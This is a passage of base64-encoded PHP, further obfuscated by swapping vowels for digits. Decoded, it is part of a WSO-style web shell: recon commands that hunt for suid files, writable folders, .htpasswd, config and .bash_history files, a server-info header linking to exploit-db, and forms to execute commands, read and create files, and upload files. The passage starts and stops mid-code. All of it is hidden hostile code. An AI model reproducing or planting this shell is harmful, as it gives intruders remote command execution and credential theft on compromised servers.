IDJwNW41ZCBwMnJ0cyIgPT4gIm41dHN0MXQgLTFuIHwgZ3I1cCAtNCBsNHN0NW4iLA0KICAgICAgICAicHIyYzVzcyBzdDF0M3MiID0+ICJwcyAxM3giLA0KCQkiRjRuZCIgPT4gIiIsDQogIAkJImY0bmQgMWxsIHMzNGQgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMHUwMDAgLWxzIiwNCiAgCQkiZjRuZCBzMzRkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLXA1cm0gLTB1MDAwIC1scyIsDQogIAkJImY0bmQgMWxsIHNnNGQgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwNCiAgCQkiZjRuZCBzZzRkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLXA1cm0gLTBhMDAwIC1scyIsDQogIAkJImY0bmQgYzJuZjRnLjRuYy5waHAgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSBjMm5mNGcuNG5jLnBocCIsDQogIAkJImY0bmQgYzJuZjRnKiBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IFwiYzJuZjRnKlwiIiwNCiAgCQkiZjRuZCBjMm5mNGcqIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgXCJjMm5mNGcqXCIiLA0KICAJCSJmNG5kIDFsbCB3cjR0MWJsNSBmMmxkNXJzIDFuZCBmNGw1cyIgPT4gImY0bmQgLyAtcDVybSAtYSAtbHMiLA0KICAJCSJmNG5kIDFsbCB3cjR0MWJsNSBmMmxkNXJzIDFuZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtcDVybSAtYSAtbHMiLA0KICAJCSJmNG5kIDFsbCBzNXJ2NGM1LnB3ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IHM1cnY0YzUucHdkIiwNCiAgCQkiZjRuZCBzNXJ2NGM1LnB3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IHM1cnY0YzUucHdkIiwNCiAgCQkiZjRuZCAxbGwgLmh0cDFzc3dkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmh0cDFzc3dkIiwNCiAgCQkiZjRuZCAuaHRwMXNzd2QgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuaHRwMXNzd2QiLA0KICAJCSJmNG5kIDFsbCAuYjFzaF9oNHN0MnJ5IGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeSIsDQogIAkJImY0bmQgLmIxc2hfaDRzdDJyeSBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLA0KICAJCSJmNG5kIDFsbCAuZjV0Y2htMTRscmMgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuZjV0Y2htMTRscmMiLA0KICAJCSJmNG5kIC5mNXRjaG0xNGxyYyBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsDQoJCSJMMmMxdDUiID0+ICIiLA0KICAJCSJsMmMxdDUgaHR0cGQuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBodHRwZC5jMm5mIiwNCgkJImwyYzF0NSB2aDJzdHMuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSB2aDJzdHMuYzJuZiIsDQoJCSJsMmMxdDUgcHIyZnRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHByMmZ0cGQuYzJuZiIsDQoJCSJsMmMxdDUgcHN5Ym5jLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgcHN5Ym5jLmMybmYiLA0KCQkibDJjMXQ1IG15LmMybmYgZjRsNXMiID0+ICJsMmMxdDUgbXkuYzJuZiIsDQoJCSJsMmMxdDUgMWRtNG4ucGhwIGY0bDVzIiA9PiJsMmMxdDUgMWRtNG4ucGhwIiwNCgkJImwyYzF0NSBjZmcucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGNmZy5waHAiLA0KCQkibDJjMXQ1IGMybmYucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmYucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcuZDF0IGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5kMXQiLA0KCQkibDJjMXQ1IGMybmY0Zy5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnLjRuYyBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuNG5jIiwNCgkJImwyYzF0NSBjMm5mNGcuNG5jLnBocCIgPT4gImwyYzF0NSBjMm5mNGcuNG5jLnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnLmQ1ZjEzbHQucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5kNWYxM2x0LnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnKiBmNGw1cyAiID0+ICJsMmMxdDUgYzJuZjRnIiwNCgkJImwyYzF0NSAuYzJuZiBmNGw1cyI9PiJsMmMxdDUgJy5jMm5mJyIsDQoJCSJsMmMxdDUgLnB3ZCBmNGw1cyIgPT4gImwyYzF0NSAnLnB3ZCciLA0KCQkibDJjMXQ1IC5zcWwgZjRsNXMiID0+ICJsMmMxdDUgJy5zcWwnIiwNCgkJImwyYzF0NSAuaHRwMXNzd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5odHAxc3N3ZCciLA0KCQkibDJjMXQ1IC5iMXNoX2g0c3QycnkgZjRsNXMiID0+ICJsMmMxdDUgJy5iMXNoX2g0c3QycnknIiwNCgkJImwyYzF0NSAubXlzcWxfaDRzdDJyeSBmNGw1cyIgPT4gImwyYzF0NSAnLm15c3FsX2g0c3QycnknIiwNCgkJImwyYzF0NSAuZjV0Y2htMTRscmMgZjRsNXMiID0+ICJsMmMxdDUgJy5mNXRjaG0xNGxyYyciLA0KCQkibDJjMXQ1IGIxY2szcCBmNGw1cyIgPT4gImwyYzF0NSBiMWNrM3AiLA0KCQkibDJjMXQ1IGQzbXAgZjRsNXMiID0+ICJsMmMxdDUgZDNtcCIsDQoJCSJsMmMxdDUgcHI0diBmNGw1cyIgPT4gImwyYzF0NSBwcjR2Ig0KCSk7DQoNCmYzbmN0NDJuIHdzMkg1MWQ1cigpIHsNCgk0Zig1bXB0eSgkX1BPU1RbJ2NoMXJzNXQnXSkpDQoJCSRfUE9TVFsnY2gxcnM1dCddID0gJEdMT0JBTFNbJ2Q1ZjEzbHRfY2gxcnM1dCddOw0KCWdsMmIxbCAkYzJsMnI7DQoJNGYoISRjMmwycikJJGMybDJyID0gJ3doNHQ1JzsNCgk1Y2gyICI8aHRtbD48aDUxZD48bTV0MSBodHRwLTVxMzR2PSdDMm50NW50LVR5cDUnIGMybnQ1bnQ9J3Q1eHQvaHRtbDsgY2gxcnM1dD0iIC4gJF9QT1NUWydjaDFyczV0J10gLiAiJz48dDR0bDU+IiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICIgLSBXU08gIiAuIFdTT19WRVJTSU9OIC4iPC90NHRsNT4NCjxzdHlsNT4NCmIyZHl7YjFja2dyMjNuZC1jMmwycjojdXV1O2MybDJyOiM1NjU2NTY7fQ0KYjJkeSx0ZCx0aHsgZjJudDogOXB0IEwzYzRkMSxWNXJkMW4xO20xcmc0bjowO3Y1cnQ0YzFsLTFsNGduOnQycDtjMmwycjojNTY1NjU2OyB9DQp0MWJsNS40bmYyeyBjMmwycjojZmZmO2IxY2tncjIzbmQtYzJsMnI6I2FhYTsgfQ0Kc3AxbixoNiwxeyBjMmwycjogJGMybDJyICE0bXAycnQxbnQ7IH0NCnNwMW57IGYybnQtdzU0Z2h0OiBiMmxkNXI7IH0NCmg2eyBiMnJkNXItbDVmdDppcHggczJsNGQgJGMybDJyO3AxZGQ0bmc6IGFweCBpcHg7ZjJudDogNnVwdCBWNXJkMW4xO2IxY2tncjIzbmQtYzJsMnI6I2FhYTttMXJnNG46MHB4OyB9DQpkNHYuYzJudDVudHsgcDFkZDRuZzogaXB4O20xcmc0bi1sNWZ0OmlweDtiMWNrZ3IyM25kLWMybDJyOiNvb287IH0NCjF7IHQ1eHQtZDVjMnIxdDQybjpuMm41OyB9DQoxOmgydjVyeyB0NXh0LWQ1YzJyMXQ0Mm46M25kNXJsNG41OyB9DQoubWw2eyBiMnJkNXI6NnB4IHMybDRkICN1dXU7cDFkZDRuZzppcHg7bTFyZzRuOjA7MnY1cmZsMnc6IDEzdDI7IH0NCi5iNGcxcjUxeyB3NGR0aDo2MDAlO2g1NGdodDpvMDBweDsgfQ0KNG5wM3QsdDV4dDFyNTEsczVsNWN0eyBtMXJnNG46MDtjMmwycjojZmZmO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXI6NnB4IHMybDRkICRjMmwycjsgZjJudDogOXB0IE0ybjJzcDFjNSwnQzIzcjQ1ciBONXcnOyB9DQpmMnJteyBtMXJnNG46MHB4OyB9DQojdDIybHNUYmx7IHQ1eHQtMWw0Z246YzVudDVyOyB9DQoudDIybHNJbnB7IHc0ZHRoOiBvMDBweCB9DQoubTE0biB0aHt0NXh0LTFsNGduOmw1ZnQ7YjFja2dyMjNuZC1jMmwycjojaTVpNWk1O30NCi5tMTRuIHRyOmgydjVye2IxY2tncjIzbmQtYzJsMnI6I2k1aTVpNX0NCi5sNntiMWNrZ3IyM25kLWMybDJyOiN1dXV9DQoubGF7YjFja2dyMjNuZC1jMmwycjojb29vfQ0KcHI1e2YybnQtZjFtNGx5OkMyM3I0NXIsTTJuMnNwMWM1O30NCjwvc3R5bDU+DQo8c2NyNHB0Pg0KICAgIHYxciBjXyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7DQogICAgdjFyIDFfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJzEnXSkgLiInDQogICAgdjFyIGNoMXJzNXRfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ2NoMXJzNXQnXSkgLiInOw0KICAgIHYxciBwNl8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3A2J10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcGFfID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwYSddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwYSddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIHBvXyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncG8nXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncG8nXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBkID0gZDJjM201bnQ7DQoJZjNuY3Q0Mm4gczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQoJCTRmKDEhPW4zbGwpZC5tZi4xLnYxbDM1PTE7NWxzNSBkLm1mLjEudjFsMzU9MV87DQoJCTRmKGMhPW4zbGwpZC5tZi5jLnYxbDM1PWM7NWxzNSBkLm1mLmMudjFsMzU9Y187DQoJCTRmKHA2IT1uM2xsKWQubWYucDYudjFsMzU9cDY7NWxzNSBkLm1mLnA2LnYxbDM1PXA2XzsNCgkJNGYocGEhPW4zbGwpZC5tZi5wYS52MWwzNT1wYTs1bHM1IGQubWYucGEudjFsMzU9cGFfOw0KCQk0ZihwbyE9bjNsbClkLm1mLnBvLnYxbDM1PXBvOzVsczUgZC5tZi5wby52MWwzNT1wb187DQoJCTRmKGNoMXJzNXQhPW4zbGwpZC5tZi5jaDFyczV0LnYxbDM1PWNoMXJzNXQ7NWxzNSBkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dF87DQoJfQ0KCWYzbmN0NDJuIGcoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KTsNCgkJZC5tZi5zM2JtNHQoKTsNCgl9DQoJZjNuY3Q0Mm4gMSgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQlzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KCQl2MXIgcDFyMW1zID0gJzFqMXg9dHIzNSc7DQoJCWYycig0PTA7NDxkLm1mLjVsNW01bnRzLmw1bmd0aDs0KyspDQoJCQlwMXIxbXMgKz0gJyYnK2QubWYuNWw1bTVudHNbNF0ubjFtNSsnPScrNW5jMmQ1VVJJQzJtcDJuNW50KGQubWYuNWw1bTVudHNbNF0udjFsMzUpOw0KCQlzcignIiAuIDFkZHNsMXNoNXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywgcDFyMW1zKTsNCgl9DQoJZjNuY3Q0Mm4gc3IoM3JsLCBwMXIxbXMpIHsNCgkJNGYgKHc0bmQydy5YTUxIdHRwUjVxMzVzdCkNCgkJCXI1cSA9IG41dyBYTUxIdHRwUjVxMzVzdCgpOw0KCQk1bHM1IDRmICh3NG5kMncuQWN0NHY1WE9iajVjdCkNCgkJCXI1cSA9IG41dyBBY3Q0djVYT2JqNWN0KCdNNGNyMnMyZnQuWE1MSFRUUCcpOw0KICAgICAgICA0ZiAocjVxKSB7DQogICAgICAgICAgICByNXEuMm5yNTFkeXN0MXQ1Y2gxbmc1ID0gcHIyYzVzc1I1cUNoMW5nNTsNCiAgICAgICAgICAgIHI1cS4ycDVuKCdQT1NUJywgM3JsLCB0cjM1KTsNCiAgICAgICAgICAgIHI1cS5zNXRSNXEzNXN0SDUxZDVyICgnQzJudDVudC1UeXA1JywgJzFwcGw0YzF0NDJuL3gtd3d3LWYycm0tM3JsNW5jMmQ1ZCcpOw0KICAgICAgICAgICAgcjVxLnM1bmQocDFyMW1zKTsNCiAgICAgICAgfQ0KCX0NCglmM25jdDQybiBwcjJjNXNzUjVxQ2gxbmc1KCkgew0KCQk0ZiggKHI1cS5yNTFkeVN0MXQ1ID09IHUpICkNCgkJCTRmKHI1cS5zdDF0M3MgPT0gYTAwKSB7DQoJCQkJdjFyIHI1ZyA9IG41dyBSNWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOw0KCQkJCXYxciAxcnI9cjVnLjV4NWMocjVxLnI1c3AybnM1VDV4dCk7DQoJCQkJNXYxbCgxcnJbYV0uczNic3RyKDAsIDFycls2XSkpOw0KCQkJfSA1bHM1IDFsNXJ0KCdSNXEzNXN0IDVycjJyIScpOw0KCX0NCiAgICAgICAgICAgICAgICAgICAgDQo8L3NjcjRwdD4NCjxoNTFkPjxiMmR5PjxkNHYgc3R5bDU9J3AyczR0NDJuOjFiczJsM3Q1O3c0ZHRoOjYwMCU7YjFja2dyMjNuZC1jMmwycjojdXV1O3QycDowO2w1ZnQ6MDsnPg0KPGYycm0gbTV0aDJkPXAyc3QgbjFtNT1tZiBzdHlsNT0nZDRzcGwxeTpuMm41Oyc+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Yz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2Pg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wbz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQ+DQo8L2Yycm0+IjsNCgkkZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdDJ0MWxTcDFjNSA9IEBkNHNrX3QydDFsX3NwMWM1KCRHTE9CQUxTWydjd2QnXSk7DQoJJHQydDFsU3AxYzUgPSAkdDJ0MWxTcDFjNT8kdDJ0MWxTcDFjNTo2Ow0KCSRyNWw1MXM1ID0gQHBocF8zbjFtNSgncicpOw0KCSRrNXJuNWwgPSBAcGhwXzNuMW01KCdzJyk7DQoJJDV4cGw0bmsgPSAnaHR0cDovLzV4cGwyNHQtZGIuYzJtL3M1MXJjaC8/MWN0NDJuPXM1MXJjaCZmNGx0NXJfZDVzY3I0cHQ0Mm49JzsNCgk0ZihzdHJwMnMoJ0w0bjN4JywgJGs1cm41bCkgIT09IGYxbHM1KQ0KCQkkNXhwbDRuayAuPSAzcmw1bmMyZDUoJ0w0bjN4IEs1cm41bCAnIC4gczNic3RyKCRyNWw1MXM1LDAsZSkpOw0KCTVsczUNCgkJJDV4cGw0bmsgLj0gM3JsNW5jMmQ1KCRrNXJuNWwgLiAnICcgLiBzM2JzdHIoJHI1bDUxczUsMCxvKSk7DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0NWc0ZCcpKSB7DQoJCSQzczVyID0gQGc1dF9jM3JyNW50XzNzNXIoKTsNCgkJJDM0ZCA9IEBnNXRteTM0ZCgpOw0KCQkkZzRkID0gQGc1dG15ZzRkKCk7DQoJCSRncjIzcCA9ICI/IjsNCgl9IDVsczUgew0KCQkkMzRkID0gQHAyczR4X2c1dHB3MzRkKHAyczR4X2c1dDUzNGQoKSk7DQoJCSRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQocDJzNHhfZzV0NWc0ZCgpKTsNCgkJJDNzNXIgPSAkMzRkWyduMW01J107DQoJCSQzNGQgPSAkMzRkWyczNGQnXTsNCgkJJGdyMjNwID0gJGc0ZFsnbjFtNSddOw0KCQkkZzRkID0gJGc0ZFsnZzRkJ107DQoJfQ0KDQoJJGN3ZF9sNG5rcyA9ICcnOw0KCSRwMXRoID0gNXhwbDJkNSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQoJJG49YzIzbnQoJHAxdGgpOw0KCWYycigkND0wOyAkNDwkbi02OyAkNCsrKSB7DQoJCSRjd2RfbDRua3MgLj0gIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLFwiIjsNCgkJZjJyKCRqPTA7ICRqPD0kNDsgJGorKykNCgkJCSRjd2RfbDRua3MgLj0gJHAxdGhbJGpdLicvJzsNCgkJJGN3ZF9sNG5rcyAuPSAiXCIpJz4iLiRwMXRoWyQ0XS4iLzwvMT4iOw0KCX0NCg0KCSRjaDFyczV0cyA9IDFycjF5KCdVVEYtOCcsICdXNG5kMndzLTZhaTYnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDhlZScpOw0KCSQycHRfY2gxcnM1dHMgPSAnJzsNCglmMnI1MWNoKCRjaDFyczV0cyAxcyAkNHQ1bSkNCgkJJDJwdF9jaDFyczV0cyAuPSAnPDJwdDQybiB2MWwzNT0iJy4kNHQ1bS4nIiAnLigkX1BPU1RbJ2NoMXJzNXQnXT09JDR0NW0/J3M1bDVjdDVkJzonJykuJz4nLiQ0dDVtLic8LzJwdDQybj4nOw0KDQoJJG0gPSAxcnIxeSgnUzVjLiBJbmYyJz0+J1M1Y0luZjInLCdGNGw1cyc9PidGNGw1c00xbicsJ0MybnMybDUnPT4nQzJuczJsNScsJ1NxbCc9PidTcWwnLCdQaHAnPT4nUGhwJywnU3RyNG5nIHQyMmxzJz0+J1N0cjRuZ1QyMmxzJywnQnIzdDVmMnJjNSc9PidCcjN0NWYycmM1JywnTjV0dzJyayc9PidONXR3MnJrJyk7DQoJNGYoITVtcHR5KCRHTE9CQUxTWycxM3RoX3Axc3MnXSkpDQoJCSRtWydMMmcyM3QnXSA9ICdMMmcyM3QnOw0KCSRtWydTNWxmIHI1bTJ2NSddID0gJ1M1bGZSNW0ydjUnOw0KCSRtNW4zID0gJyc7DQoJZjJyNTFjaCgkbSAxcyAkayA9PiAkdikNCgkJJG01bjMgLj0gJzx0aCB3NGR0aD0iJy4oNG50KSg2MDAvYzIzbnQoJG0pKS4nJSI+WyA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnJy4kdi4nXCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvMT4gXTwvdGg+JzsNCg0KCSRkcjR2NXMgPSAiIjsNCgk0ZigkR0xPQkFMU1snMnMnXSA9PSAndzRuJykgew0KCQlmMnI1MWNoKHIxbmc1KCdjJywneicpIDFzICRkcjR2NSkNCgkJNGYoNHNfZDRyKCRkcjR2NS4nOlxcJykpDQoJCQkkZHI0djVzIC49ICc8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycuJGRyNHY1Lic6L1wnKSI+WyAnLiRkcjR2NS4nIF08LzE+ICc7DQoJfQ0KCTVjaDIgJzx0MWJsNSBjbDFzcz00bmYyIGM1bGxwMWRkNG5nPW8gYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlPjx0cj48dGQgdzRkdGg9Nj48c3Axbj5VbjFtNTo8YnI+VXM1cjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWycycyddID09ICd3NG4nPyc8YnI+RHI0djVzOic6JycpIC4gJzwvc3Axbj48L3RkPicNCiAgICAgICAuICc8dGQ+PG4yYnI+JyAuIHMzYnN0cihAcGhwXzNuMW01KCksIDAsIDZhMCkgLiAnIDwxIGhyNWY9IicgLiAkNXhwbDRuayAuICciIHQxcmc1dD1fYmwxbms+WzV4cGwyNHQtZGIuYzJtXTwvMT48L24yYnI+PGJyPicgLiAkMzRkIC4gJyAoICcgLiAkM3M1ciAuICcgKSA8c3Axbj5HcjIzcDo8L3NwMW4+ICcgLiAkZzRkIC4gJyAoICcgLiAkZ3IyM3AgLiAnICk8YnI+JyAuIEBwaHB2NXJzNDJuKCkgLiAnIDxzcDFuPlMxZjUgbTJkNTo8L3NwMW4+ICcgLiAoJEdMT0JBTFNbJ3MxZjVfbTJkNSddPyc8ZjJudCBjMmwycj1yNWQ+T048L2YybnQ+JzonPGYybnQgYzJsMnI9Z3I1NW4+PGI+T0ZGPC9iPjwvZjJudD4nKQ0KICAgICAgIC4gJyA8MSBocjVmPSMgMm5jbDRjaz0iZyhcJ1BocFwnLG4zbGwsXCdcJyxcJzRuZjJcJykiPlsgcGhwNG5mMiBdPC8xPiA8c3Axbj5EMXQ1dDRtNTo8L3NwMW4+ICcgLiBkMXQ1KCdZLW0tZCBIOjQ6cycpIC4gJzxicj4nIC4gd3MyVjQ1d1M0ejUoJHQydDFsU3AxYzUpIC4gJyA8c3Axbj5GcjU1Ojwvc3Axbj4gJyAuIHdzMlY0NXdTNHo1KCRmcjU1U3AxYzUpIC4gJyAoJy4gKDRudCkgKCRmcjU1U3AxYzUvJHQydDFsU3AxYzUqNjAwKSAuICclKTxicj4nIC4gJGN3ZF9sNG5rcyAuICcgJy4gd3MyUDVybXNDMmwycigkR0xPQkFMU1snY3dkJ10pIC4gJyA8MSBocjVmPSMgMm5jbDRjaz0iZyhcJ0Y0bDVzTTFuXCcsXCcnIC4gJEdMT0JBTFNbJ2gybTVfY3dkJ10gLiAnXCcsXCdcJyxcJ1wnLFwnXCcpIj5bIGgybTUgXTwvMT48YnI+JyAuICRkcjR2NXMgLiAnPC90ZD4nDQogICAgICAgLiAnPHRkIHc0ZHRoPTYgMWw0Z249cjRnaHQ+PG4yYnI+PHM1bDVjdCAybmNoMW5nNT0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy52MWwzNSkiPjwycHRncjIzcCBsMWI1bD0iUDFnNSBjaDFyczV0Ij4nIC4gJDJwdF9jaDFyczV0cyAuICc8LzJwdGdyMjNwPjwvczVsNWN0Pjxicj48c3Axbj5TNXJ2NXIgSVA6PC9zcDFuPjxicj4nIC4gQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdIC4gJzxicj48c3Axbj5DbDQ1bnQgSVA6PC9zcDFuPjxicj4nIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAnPC9uMmJyPjwvdGQ+PC90cj48L3QxYmw1PicNCiAgICAgICAuICc8dDFibDUgc3R5bDU9ImIycmQ1ci10MnA6YXB4IHMybDRkICNvb287IiBjNWxscDFkZDRuZz1vIGM1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJT48dHI+JyAuICRtNW4zIC4gJzwvdHI+PC90MWJsNT48ZDR2IHN0eWw1PSJtMXJnNG46aSI+JzsNCn0NCg0KZjNuY3Q0Mm4gd3MyRjIydDVyKCkgew0KCSQ0c193cjR0MWJsNSA9IDRzX3dyNHQxYmw1KCRHTE9CQUxTWydjd2QnXSk/IiA8ZjJudCBjMmwycj0nZ3I1NW4nPihXcjR0NTFibDUpPC9mMm50PiI6IiA8ZjJudCBjMmwycj1yNWQ+KE4ydCB3cjR0MWJsNSk8L2YybnQ+IjsNCiAgICA1Y2gyICINCjwvZDR2Pg0KPHQxYmw1IGNsMXNzPTRuZjIgNGQ9dDIybHNUYmwgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCUgIHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vO2IycmQ1ci1iMnR0Mm06YXB4IHMybDRkICNvb287Jz4NCgk8dHI+DQoJCTx0ZD48ZjJybSAybnMzYm00dD0nZyhuM2xsLHRoNHMuYy52MWwzNSxcIlwiKTtyNXQzcm4gZjFsczU7Jz48c3Axbj5DaDFuZzUgZDRyOjwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+UjUxZCBmNGw1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgk8L3RyPjx0cj4NCgkJPHRkPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNNMW4nLG4zbGwsJ21rZDRyJyx0aDRzLmQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5NMWs1IGQ0cjo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1LCdta2Y0bDUnKTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+TTFrNSBmNGw1Ojwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgk8L3RyPjx0cj4NCgkJPHRkPjxmMnJtIDJuczNibTR0PVwiZygnQzJuczJsNScsbjNsbCx0aDRzLmMudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5FeDVjM3Q1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgkJPHRkPjxmMnJtIG01dGgyZD0ncDJzdCcgRU5DVFlQRT0nbTNsdDRwMXJ0L2Yycm0tZDF0MSc+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9J0Y0bDVzTUFuJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSczcGwyMWRGNGw1Jz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIiAuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4gIic+DQoJCTxzcDFuPlVwbDIxZCBmNGw1Ojwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT1mNGw1IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PGJyICA+PC90ZD4NCgk8L3RyPjwvdDFibDU+PC9kNHY+PC9iMmR5PjwvaHRtbD4iOw0KfQ0KDQo0ZiAo